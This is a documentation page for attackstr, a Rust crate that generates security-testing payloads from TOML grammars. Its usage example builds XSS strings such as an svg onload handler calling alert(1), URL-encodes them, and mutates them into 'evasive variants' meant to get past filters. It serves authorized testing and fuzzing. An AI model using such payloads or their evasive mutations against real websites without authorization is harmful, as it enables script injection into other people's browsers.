attackstr 0.2.4

Grammar-based security payload generation - TOML-driven, composable, encoding-aware
Documentation 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

use attackstr::{mutate_all, PayloadConfig, PayloadDb};

fn main() -> Result<(), attackstr::PayloadError> {
    let mut db = PayloadDb::with_config(
        PayloadConfig::builder()
            .max_per_category(8)
            .deduplicate(true)
            .build(),
    );

    db.load_toml(
        r#"
[grammar]
name = "example-xss"
sink_category = "xss"

[[contexts]]
name = "double-quoted"
prefix = "\""
suffix = "\""

[[techniques]]
name = "svg-onload"
template = "<svg/onload={handler}>"

[[handlers]]
value = "alert(1)"

[[handlers]]
value = "confirm(1)"

[[encodings]]
name = "raw"
transform = "identity"

[[encodings]]
name = "url"
transform = "url_encode"
"#,
    )?;

    for payload in db.iter_payloads("xss").filter_map(Result::ok).take(4) {
        println!(
            "[{}:{}:{}] {}",
            payload.technique, payload.context, payload.encoding, payload.text
        );
    }

    match mutate_all(&db.payloads("xss")[0].text) {
        Ok(mutated) => println!("generated {} evasive variants", mutated.len()),
        Err(e) => eprintln!("mutation error: {e}"),
    }

    Ok(())
}